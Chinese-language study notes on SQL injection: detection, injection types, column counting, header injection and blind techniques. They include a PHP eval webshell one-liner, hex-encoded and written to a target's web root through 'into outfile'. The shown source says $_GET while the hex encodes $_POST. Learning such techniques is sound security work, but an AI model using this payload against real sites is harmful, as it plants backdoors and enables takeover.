SQL注入 大概从08年 ------至今 几乎都是 top10大漏洞中的 第一个了
随处可见的,现在可能少点了。
我们首先要了解每一种数据库的语法、特性
不同的数据库,都有自己的特性,
sql注入的危害
SQL注入攻击(SQLInjection),简称注入攻击、SQL注入被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。在设计程序,忽略了对输入字符串中夹带的SQL指令的检查,被数据库误认为是正常的SQL指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。
没有对特殊字符,sql语句进行过滤,导致客户端可以通过POST GET 来提交一些sql语句中正常执行的
SQL注入的条件
可以控制用户输入的东西
执行的代码,可以进行拼接,输入的数据
注入类型
数字型
如 ID 、年龄、页码 等,都可能是数字型注入
不需要单引号闭合
字符型
需要单引号来闭合, 涉及到汉字,打字等
自己建一个数据库,代码里的内容根据数据库变化
这是数字型
去访问页面,
and 1=1 页面正常 and 1=2 页面则不正常
代表有注入点,存在
加上引号,变成字符型
进行简单的注入操作
没有进行报错,这里我们首页要闭合单引号
单引号,闭合前面 --+注释掉后面的单引号 ,这里的+变成了空格
这时候,改成1,就正常了
这时候,我们判断列数,
order by 3 代表有三列数据,如果真的有三列,页面正常, 一直往上加,直到页面返回不正常为止
判断出有3列后,进行注入,
、看看数据库名,用户权限
数字型和字符型 都一样
注入的利用方式
查询数据
s
读写文件
16进制编码一下
<?php @eval($_GET['a']);?> 注意,编码后,要在前面加上0x
0x3C3F70687020406576616C28245F504F53545B2761275D293B3F3E into outfile 'D:/www/1.php'
把路径\ 改成 /
写入到对面的网站根目录下,
然后用蚁剑连接
成功
执行命令
load_file
post注入
登录页面抓包,改包,万能密码自行了解
注入过程
1.攻击者访问登录页面
2.输入用户名及密码
3将含有攻击字符串组成SQL语句转发给数据库执行
4.数据库执行发回应用程序服务器
5.应用程序将内容返回浏览器,即绕过成功
http头注入
User-Agent:使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
Cookie:网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])
Clien-IP:同上,不做过多介绍
Rerferer:浏览器向WEB服务器表明自己是从哪个页面链接过来的
Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号(这个我本人还没碰到过,不过有真实存在的案例还是写上吧).
盲注
在sql注入过程中,sql语句执行的选择后,选择的数据不在页面显示
基于布尔的盲注
二分法进行判断
基于时间的盲注
sleep 看网页睡眠时间
基于报错的盲注
通过报错,把信息带出来